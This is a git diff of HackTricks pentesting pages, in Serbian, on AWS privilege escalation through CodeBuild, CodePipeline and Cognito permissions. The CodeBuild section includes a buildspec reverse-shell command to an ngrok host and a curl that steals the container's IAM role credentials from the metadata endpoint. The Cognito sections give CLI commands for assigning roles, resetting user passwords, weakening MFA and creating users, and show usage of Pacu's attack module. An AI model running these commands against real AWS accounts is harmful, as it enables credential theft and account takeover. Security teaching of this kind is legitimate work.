b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md new file mode 100644 index 000000000..a1d2b8e45 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md @@ -0,0 +1,9 @@ +# AWS - Chime Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +### chime:CreateApiKey + +Treba implementirati + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md similarity index 75% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md index d40feb8f0..365c5cc40 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md @@ -1,18 +1,18 @@ # AWS - Codebuild Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## codebuild -Dobijte više informacija u: +Više informacija u: {{#ref}} -../aws-services/aws-codebuild-enum.md +../../aws-services/aws-codebuild-enum.md {{#endref}} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Samo sa jednom od ovih dozvola dovoljno je pokrenuti gradnju sa novim buildspec-om i ukrasti token iam uloge dodeljene projektu: +Dovoljno je imati samo jednu od ovih dozvola da se pokrene build sa novim buildspec-om i ukrade token iam role dodeljene projektu: {{#tabs }} {{#tab name="StartBuild" }} @@ -58,19 +58,16 @@ aws codebuild start-build-batch --project --buildspec-override fi {{#endtab }} {{#endtabs }} -**Napomena**: Razlika između ove dve komande je u tome što: +**Napomena**: Razlika između ova dva komanda je: -- `StartBuild` pokreće jedan posao izgradnje koristeći specifičan `buildspec.yml`. -- `StartBuildBatch` vam omogućava da pokrenete grupu izgradnji, sa složenijim konfiguracijama (kao što je pokretanje više izgradnji paralelno). +- `StartBuild` pokreće jedan build job koristeći specifičan `buildspec.yml`. +- `StartBuildBatch` omogućava pokretanje serije build-ova sa složenijim konfiguracijama (npr. pokretanje više build-ova paralelno). -**Potencijalni uticaj:** Direktno privesc na pridružene AWS Codebuild uloge. +**Potencijalni uticaj:** Direktan privesc na pridružene AWS Codebuild role. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Napadač sa **`iam:PassRole`, `codebuild:CreateProject`, i `codebuild:StartBuild` ili `codebuild:StartBuildBatch`** dozvolama mogao bi da **escalira privilegije na bilo koju codebuild IAM ulogu** kreiranjem aktivne. - -{{#tabs }} -{{#tab name="Example1" }} +Napadač sa **`iam:PassRole`, `codebuild:CreateProject`, i `codebuild:StartBuild` ili `codebuild:StartBuildBatch`** dozvolama mogao bi da **escalate privileges** na bilo koju codebuild IAM rolu kreiranjem i pokretanjem jedne. ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -171,20 +168,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Direktno privesc na bilo koju AWS Codebuild ulogu. +**Potencijalni uticaj:** Direct privesc to any AWS Codebuild role. > [!WARNING] -> U **Codebuild kontejneru** datoteka `/codebuild/output/tmp/env.sh` sadrži sve env varijable potrebne za pristup **metapodacima akreditiva**. +> U **Codebuild container** fajlu `/codebuild/output/tmp/env.sh` nalaze se svi env vars potrebni za pristup **metadata credentials**. -> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput ovog `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Ovaj fajl sadrži **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL path** za pristup credentials. Izgledaće otprilike ovako `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Dodajte to u URL **`http://169.254.170.2/`** i moći ćete da preuzmete akreditive uloge. +> Dodajte to na URL **`http://169.254.170.2/`** i moći ćete da dump-ujete role credentials. -> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL adresu za dobijanje **metapodataka o kontejneru**. +> Takođe sadrži **env variable `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletan URL za dobijanje **metadata info about the container**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Baš kao u prethodnom odeljku, ako umesto kreiranja projekta za izgradnju možete da ga modifikujete, možete da navedete IAM ulogu i ukradete token. +Kao i u prethodnom odeljku, ako umesto kreiranja build project-a možete da ga izmenite, možete navesti IAM Role i steal the token ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -218,11 +215,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file aws codebuild start-build --project-name codebuild-demo-project ``` -**Potencijalni uticaj:** Direktno privesc na bilo koju AWS Codebuild ulogu. +**Potencijalni uticaj:** Direktan privesc na bilo koju AWS Codebuild ulogu. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Kao u prethodnom odeljku, ali **bez `iam:PassRole` dozvole**, možete zloupotrebiti ove dozvole da **modifikujete postojeće Codebuild projekte i pristupite ulozi koju već imaju dodeljenu**. +Kao u prethodnom odeljku, ali **bez `iam:PassRole` dozvole**, možete zloupotrebiti ove dozvole da **izmenite postojeće Codebuild projekte i pristupite ulozi koja im je već dodeljena**. {{#tabs }} {{#tab name="StartBuild" }} @@ -298,13 +295,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Direktno privesc na pridružene AWS Codebuild uloge. +**Mogući uticaj:** Direktan privesc na priložene AWS Codebuild roles. ### SSM -Imati **dovoljno dozvola za pokretanje ssm sesije** omogućava da se **uđe u Codebuild projekat** koji se gradi. +Ako imate **enough permissions to start a ssm session** moguće je ući **inside a Codebuild project** koji se gradi. -Projekat codebuild će morati da ima tačku prekida: +The codebuild project will need to have a breakpoint:
phases:
 pre_build:
@@ -314,18 +311,18 @@ commands:
       - codebuild-breakpoint
 
-I zatim: +Zatim: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -Za više informacija [**proverite dokumentaciju**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +Za više informacija [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -Napadač koji može da pokrene/ponovo pokrene gradnju određenog CodeBuild projekta koji čuva svoj `buildspec.yml` fajl na S3 bucket-u kojem napadač ima pristup za pisanje, može dobiti izvršenje komandi u CodeBuild procesu. +Attacker koji može da pokrene ili ponovo pokrene build određenog CodeBuild projekta koji čuva svoj `buildspec.yml` fajl na S3 bucket-u na koji attacker ima write access, može dobiti command execution u CodeBuild procesu. -Napomena: eskalacija je relevantna samo ako CodeBuild radnik ima drugačiju ulogu, nadamo se privilegovaniju, od one napadača. +Napomena: eskalacija je relevantna samo ako CodeBuild worker ima drugačiju ulogu, po mogućstvu privilegovaniju, od uloge attackera. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -351,13 +348,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**Uticaj:** Direktno povećanje privilegija na ulozi koju koristi AWS CodeBuild radnik, koja obično ima visoke privilegije. +**Uticaj:** Direktan privesc na rolu koju koristi AWS CodeBuild worker, koja obično ima visoke privilegije. > [!WARNING] -> Imajte na umu da se buildspec može očekivati u zip formatu, tako da bi napadač morao da preuzme, raspakuje, izmeni `buildspec.yml` iz root direktorijuma, ponovo zipuje i otpremi +> Imajte na umu da se buildspec može očekivati u zip formatu, pa bi napadač morao da preuzme, raspakuje, izmeni `buildspec.yml` iz root direktorijuma, ponovo zapakuje i otpremi -Više detalja može se naći [ovde](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Više detalja možete pronaći [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potencijalni Uticaj:** Direktno povećanje privilegija na povezanim AWS Codebuild ulogama. +**Potencijalni uticaj:** Direktan privesc na pridružene AWS Codebuild role. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md deleted file mode 100644 index 2ef51eaef..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - Codepipeline Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## codepipeline - -Za više informacija o codepipeline pogledajte: - -{{#ref}} -../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md -{{#endref}} - -### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` - -Kada kreirate code pipeline, možete naznačiti **codepipeline IAM ulogu za izvršavanje**, stoga ih možete kompromitovati. - -Pored prethodnih dozvola, potrebna vam je **pristup mestu gde je kod smešten** (S3, ECR, github, bitbucket...) - -Testirao sam ovo radeći proces na veb stranici, prethodno navedene dozvole nisu List/Get one potrebne za kreiranje codepipeline, ali za kreiranje na vebu će vam takođe biti potrebne: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` - -Tokom **kreiranja build projekta** možete naznačiti **komandu za izvršavanje** (rev shell?) i da se faza izgradnje izvršava kao **privilegovani korisnik**, to je konfiguracija koju napadač treba da kompromituje: - -![](<../../../images/image (276).png>) - -![](<../../../images/image (181).png>) - -### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` - -Možda bi bilo moguće izmeniti ulogu koja se koristi i komandu koja se izvršava na codepipeline sa prethodnim dozvolama. - -### `codepipeline:pollforjobs` - -[AWS pominje](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): - -> Kada se ovaj API pozove, CodePipeline **vraća privremene akreditive za S3 bucket** koji se koristi za skladištenje artefakata za pipeline, ako akcija zahteva pristup tom S3 bucketu za ulazne ili izlazne artefakte. Ovaj API takođe **vraća sve tajne vrednosti definisane za akciju**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md new file mode 100644 index 000000000..c9b300b1c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md @@ -0,0 +1,37 @@ +# AWS - Codepipeline Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## codepipeline + +Za više informacija o codepipeline pogledajte: + +{{#ref}} +../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +{{#endref}} + +### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` + +Kada kreirate code pipeline možete navesti **codepipeline IAM Role to run**, stoga biste ih mogli kompromitovati. + +Pored prethodnih dozvola biće vam potreban i **pristup mestu gde je kod smešten** (S3, ECR, github, bitbucket...) + +Testirao sam ovo radeći proces na web stranici — dozvole navedene ranije su one (ne List/Get) potrebne za kreiranje codepipeline, ali za kreiranje preko web-a takođe će vam trebati: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` + +Tokom **kreiranja build projekta** možete navesti **komandu za izvršavanje** (rev shell?) i pokrenuti build fazu kao **privilegovan korisnik** — to je konfiguracija koju napadač treba da kompromituje: + +![](<../../../images/image (276).png>) + +![](<../../../images/image (181).png>) + +### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` + +Može biti moguće izmeniti ulogu koja se koristi i komandu koja se izvršava na codepipeline uz prethodne dozvole. + +### `codepipeline:pollforjobs` + +[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): + +> Kada se ovaj API pozove, CodePipeline **vraća privremene kredencijale za S3 bucket** koji se koristi za čuvanje artefakata za pipeline, ako akcija zahteva pristup tom S3 bucket-u za ulazne ili izlazne artefakte. Ovaj API takođe **vraća sve vrednosti tajni definisane za akciju**. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md deleted file mode 100644 index 0bac7194c..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ /dev/null @@ -1,274 +0,0 @@ -# AWS - Cognito Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Za više informacija o Cognitu pogledajte: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Prikupljanje kredencijala iz Identity Pool-a - -Pošto Cognito može dodeliti **IAM role credentials** i **autentifikovanim** i **neautentifikovanim** **korisnicima**, ako locirate **Identity Pool ID** aplikacije (trebalo bi da bude hardkodiran u njoj) možete dobiti nove kredencijale i tako izvršiti privesc (unutar AWS naloga gde verovatno niste imali nikakve kredencijale prethodno). - -Za više informacija [**proverite ovu stranicu**](../aws-unauthenticated-enum-access/#cognito). - -**Potencijalni uticaj:** Direktan privesc na servisnu ulogu vezanu za neautentifikovane korisnike (i verovatno na onu vezanu za autentifikovane korisnike). - -### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` - -Sa ovom dozvolom možete **dodeliti bilo koju cognito ulogu** autentifikovanim/neautentifikovanim korisnicima cognito aplikacije. -```bash -aws cognito-identity set-identity-pool-roles \ ---identity-pool-id \ ---roles unauthenticated= - -# Get credentials -## Get one ID -aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367" -## Get creds for that id -aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" -``` -Ako cognito aplikacija **nema omogućene neautentifikovane korisnike**, možda će vam biti potrebna i dozvola `cognito-identity:UpdateIdentityPool` da je omogućite. - -**Potencijalni uticaj:** Direktno privesc na bilo koju cognito ulogu. - -### `cognito-identity:update-identity-pool` - -Napadač sa ovom dozvolom mogao bi, na primer, da postavi Cognito User Pool pod njegovom kontrolom ili bilo koji drugi provajder identiteta gde može da se prijavi kao **način za pristup ovoj Cognito Identity Pool**. Tada, samo **prijavljivanje** na tom provajderu korisnika će **omogućiti mu pristup konfigurisanom autentifikovanom ulozi u Identity Pool**. -```bash -# This example is using a Cognito User Pool as identity provider -## but you could use any other identity provider -aws cognito-identity update-identity-pool \ ---identity-pool-id \ ---identity-pool-name \ -[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ ---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false - -# Now you need to login to the User Pool you have configured -## after having the id token of the login continue with the following commands: - -# In this step you should have already an ID Token -aws cognito-identity get-id \ ---identity-pool-id \ ---logins cognito-idp..amazonaws.com/= - -# Get the identity_id from thr previous commnad response -aws cognito-identity get-credentials-for-identity \ ---identity-id \ ---logins cognito-idp..amazonaws.com/= -``` -Takođe je moguće **zloupotrebiti ovu dozvolu da se omogući osnovna autentifikacija**: -```bash -aws cognito-identity update-identity-pool \ ---identity-pool-id \ ---identity-pool-name \ ---allow-unauthenticated-identities ---allow-classic-flow -``` -**Potencijalni uticaj**: Kompromitovanje konfigurisane autentifikovane IAM uloge unutar identitetskog bazena. - -### `cognito-idp:AdminAddUserToGroup` - -Ova dozvola omogućava **dodavanje Cognito korisnika u Cognito grupu**, stoga bi napadač mogao zloupotrebiti ovu dozvolu da doda korisnika pod njegovom kontrolom u druge grupe sa **boljim** privilegijama ili **različitim IAM ulogama**: -```bash -aws cognito-idp admin-add-user-to-group \ ---user-pool-id \ ---username \ ---group-name -``` -**Potencijalni uticaj:** Privesc na druge Cognito grupe i IAM uloge povezane sa User Pool grupama. - -### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` - -Napadač sa ovim dozvolama mogao bi **da kreira/aktualizuje grupe** sa **svakom IAM ulogom koja može biti korišćena od strane kompromitovanog Cognito Identity Provider-a** i učiniti kompromitovanog korisnika delom grupe, pristupajući svim tim ulogama: -```bash -aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn -``` -**Potencijalni uticaj:** Privesc na druge Cognito IAM uloge. - -### `cognito-idp:AdminConfirmSignUp` - -Ova dozvola omogućava **verifikaciju registracije**. Po defaultu, svako može da se prijavi na Cognito aplikacije; ako to ostane, korisnik bi mogao da kreira nalog sa bilo kojim podacima i verifikuje ga ovom dozvolom. -```bash -aws cognito-idp admin-confirm-sign-up \ ---user-pool-id \ ---username -``` -**Potencijalni uticaj:** Indirektni privesc na IAM ulogu identiteta za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektni privesc na druge funkcionalnosti aplikacije omogućavajući potvrdu bilo kog naloga. - -### `cognito-idp:AdminCreateUser` - -Ova dozvola bi omogućila napadaču da kreira novog korisnika unutar korisničkog bazena. Novi korisnik se kreira kao omogućen, ali će morati da promeni svoju lozinku. -```bash -aws cognito-idp admin-create-user \ ---user-pool-id \ ---username \ -[--user-attributes ] ([Name=email,Value=email@gmail.com]) -[--validation-data ] -[--temporary-password ] -``` -**Potencijalni uticaj:** Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika. - -### `cognito-idp:AdminEnableUser` - -Ova dozvola može pomoći u veoma specifičnom scenariju gde je napadač pronašao akreditive onemogućenog korisnika i treba da ga **ponovo omogući**. -```bash -aws cognito-idp admin-enable-user \ ---user-pool-id \ ---username -``` -**Potencijalni uticaj:** Indirektno privesc na IAM ulogu identiteta za autentifikovane korisnike i dozvole korisnika ako je napadač imao akreditive za onemogućenog korisnika. - -### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** - -Ova dozvola omogućava prijavu sa [**metodom ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Za više informacija pratite link. - -### `cognito-idp:AdminSetUserPassword` - -Ova dozvola bi omogućila napadaču da **promeni lozinku bilo kog korisnika**, omogućavajući mu da se lažno predstavi kao bilo koji korisnik (koji nema omogućenu MFA). -```bash -aws cognito-idp admin-set-user-password \ ---user-pool-id \ ---username \ ---password \ ---permanent -``` -**Potencijalni uticaj:** Direktno privesc za potencijalno bilo kog korisnika, tako da pristup svim grupama čiji je korisnik član i pristup IAM ulozi autentifikovanog Identity Pool-a. - -### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` - -**AdminSetUserSettings**: Napadač bi potencijalno mogao da zloupotrebi ovu dozvolu da postavi mobilni telefon pod njegovom kontrolom kao **SMS MFA korisnika**. -```bash -aws cognito-idp admin-set-user-settings \ ---user-pool-id \ ---username \ ---mfa-options -``` -**SetUserMFAPreference:** Slično prethodnoj, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita. -```bash -aws cognito-idp admin-set-user-mfa-preference \ -[--sms-mfa-settings ] \ -[--software-token-mfa-settings ] \ ---username \ ---user-pool-id -``` -**SetUserPoolMfaConfig**: Slično prethodnom, ova dozvola se može koristiti za postavljanje MFA preferencija korisničkog bazena kako bi se zaobišla MFA zaštita. -```bash -aws cognito-idp set-user-pool-mfa-config \ ---user-pool-id \ -[--sms-mfa-configuration ] \ -[--software-token-mfa-configuration ] \ -[--mfa-configuration ] -``` -**UpdateUserPool:** Takođe je moguće ažurirati korisnički bazen kako bi se promenila MFA politika. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Indirektno privesc potencijalno bilo kojem korisniku čije napredne podatke napadač poznaje, što bi moglo omogućiti zaobilaženje MFA zaštite. - -### `cognito-idp:AdminUpdateUserAttributes` - -Napadač sa ovom dozvolom mogao bi da promeni email ili broj telefona ili bilo koju drugu atribut korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u osnovnoj aplikaciji.\ -Ovo omogućava promenu emaila ili broja telefona i postavljanje kao verifikovanog. -```bash -aws cognito-idp admin-update-user-attributes \ ---user-pool-id \ ---username \ ---user-attributes -``` -**Potencijalni uticaj:** Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koja dodeljuje privilegije na osnovu atributa korisnika. - -### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` - -Napadač sa ovom dozvolom mogao bi **da kreira novog User Pool Client-a koji je manje restriktivan** od već postojećih klijenata. Na primer, novi klijent bi mogao da dozvoli bilo koju vrstu metode za autentifikaciju, da nema nikakvu tajnu, da ima onemogućenu revokaciju tokena, da dozvoli tokenima da budu validni duži period... - -Isto se može uraditi ako se umesto kreiranja novog klijenta, **izmenjuje postojeći**. - -U [**komandnoj liniji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ili [**za ažuriranje**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) možete videti sve opcije, proverite to!. -```bash -aws cognito-idp create-user-pool-client \ ---user-pool-id \ ---client-name \ -[...] -``` -**Potencijalni uticaj:** Potencijalni indirektni privesc za autorizovanog korisnika Identity Pool-a koji koristi User Pool tako što se kreira novi klijent koji opušta bezbednosne mere i omogućava napadaču da se prijavi sa korisnikom kojeg je mogao da kreira. - -### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` - -Napadač bi mogao da zloupotrebi ovu dozvolu da kreira korisnike učitavanjem csv datoteke sa novim korisnicima. -```bash -# Create a new import job -aws cognito-idp create-user-import-job \ ---job-name \ ---user-pool-id \ ---cloud-watch-logs-role-arn - -# Use a new import job -aws cognito-idp start-user-import-job \ ---user-pool-id \ ---job-id - -# Both options before will give you a URL where you can send the CVS file with the users to create -curl -v -T "PATH_TO_CSV_FILE" \ --H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" -``` -(U slučaju kada kreirate novi posao za uvoz, možda će vam biti potrebna iam passrole dozvola, još nisam testirao). - -**Potencijalni uticaj:** Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika. - -### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` - -Napadač bi mogao da kreira novog provajdera identiteta kako bi mogao da **prijavi se preko ovog provajdera**. -```bash -aws cognito-idp create-identity-provider \ ---user-pool-id \ ---provider-name \ ---provider-type \ ---provider-details \ -[--attribute-mapping ] \ -[--idp-identifiers ] -``` -**Potencijalni Uticaj:** Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika. - -### cognito-sync:\* Analiza - -Ovo je veoma uobičajena dozvola po defaultu u ulogama Cognito Identity Pools. Čak i ako wildcard u dozvolama uvek izgleda loše (posebno dolazeći iz AWS-a), **date dozvole nisu super korisne iz perspektive napadača**. - -Ova dozvola omogućava čitanje informacija o korišćenju Identity Pools i Identity IDs unutar Identity Pools (što nije osetljiva informacija).\ -Identity IDs mogu imati [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) dodeljene njima, koje su informacije o sesijama (AWS to definiše kao **sačuvanu igru**). Moguće je da ovo sadrži neku vrstu osetljivih informacija (ali je verovatnoća prilično niska). Možete pronaći na [**stranici za enumeraciju**](../aws-services/aws-cognito-enum/) kako da pristupite ovim informacijama. - -Napadač bi takođe mogao koristiti ove dozvole da **prijavi sebe na Cognito stream koji objavljuje promene** na ovim datasetima ili **lambda koja se aktivira na cognito događaje**. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće. - -### Automatski Alati - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS eksploatacioni okvir, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikovanih prilagođenih atributa, upotrebljivih kredencijala identiteta, preuzimljivih uloga u id tokenima, itd. - -Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu. - -#### Korišćenje - -Primer korišćenja cognito\_\_attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identiteta i klijenta korisničkog bazena: -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. koji su vidljivi u trenutnom AWS nalogu: -```bash -Pacu (new:test) > run cognito__enum -``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući eskalaciju privilegija. - -#### Instalacija -```bash -$ pip install cognito-scanner -``` -#### Korišćenje -```bash -$ cognito-scanner --help -``` -Za više informacija proverite [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md new file mode 100644 index 000000000..87fb8aa4b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md @@ -0,0 +1,274 @@ +# AWS - Cognito Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +Za više informacija o Cognito pogledajte: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Pribavljanje kredencijala iz Identity Pool + +Pošto Cognito može dodeliti **IAM role credentials** i **authenticated** i **unauthenticated** **users**, ako pronađete **Identity Pool ID** neke aplikacije (trebalo bi da je hardkodovan u njoj) možete dobiti nove kredencijale i time ostvariti privesc (unutar AWS naloga za koji verovatno ranije niste imali nikakve kredencijale). + +For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito). + +**Potential Impact:** Direktan privesc na services role pridružene unauth users (i verovatno i onoj pridruženoj auth users). + +### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` + +Sa ovom dozvolom možete **grant any cognito role** authenticated/unauthenticated korisnicima cognito aplikacije. +```bash +aws cognito-identity set-identity-pool-roles \ +--identity-pool-id \ +--roles unauthenticated= + +# Get credentials +## Get one ID +aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367" +## Get creds for that id +aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" +``` +Ako cognito aplikacija **nema omogućeno korišćenje neautentifikovanih korisnika** možda će vam takođe biti potrebna dozvola `cognito-identity:UpdateIdentityPool` da to omogućite. + +**Potencijalni uticaj:** Direktan privesc na bilo koju cognito role. + +### `cognito-identity:update-identity-pool` + +Napadač sa ovom dozvolom može, na primer, da podesi Cognito User Pool pod svojom kontrolom ili bilo kog drugog identity providera preko kojeg se može prijaviti kao **način pristupa ovom Cognito Identity Pool-u**. Zatim, samo **login** na tom identity provider-u će mu **omogućiti pristup konfigurisanom authenticated role u Identity Pool-u**. +```bash +# This example is using a Cognito User Pool as identity provider +## but you could use any other identity provider +aws cognito-identity update-identity-pool \ +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false + +# Now you need to login to the User Pool you have configured +## after having the id token of the login continue with the following commands: + +# In this step you should have already an ID Token +aws cognito-identity get-id \ +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= + +# Get the identity_id from thr previous commnad response +aws cognito-identity get-credentials-for-identity \ +--identity-id \ +--logins cognito-idp..amazonaws.com/= +``` +Takođe je moguće **zloupotrebiti ovu dozvolu da omogući basic auth**: +```bash +aws cognito-identity update-identity-pool \ +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow +``` +**Potencijalni 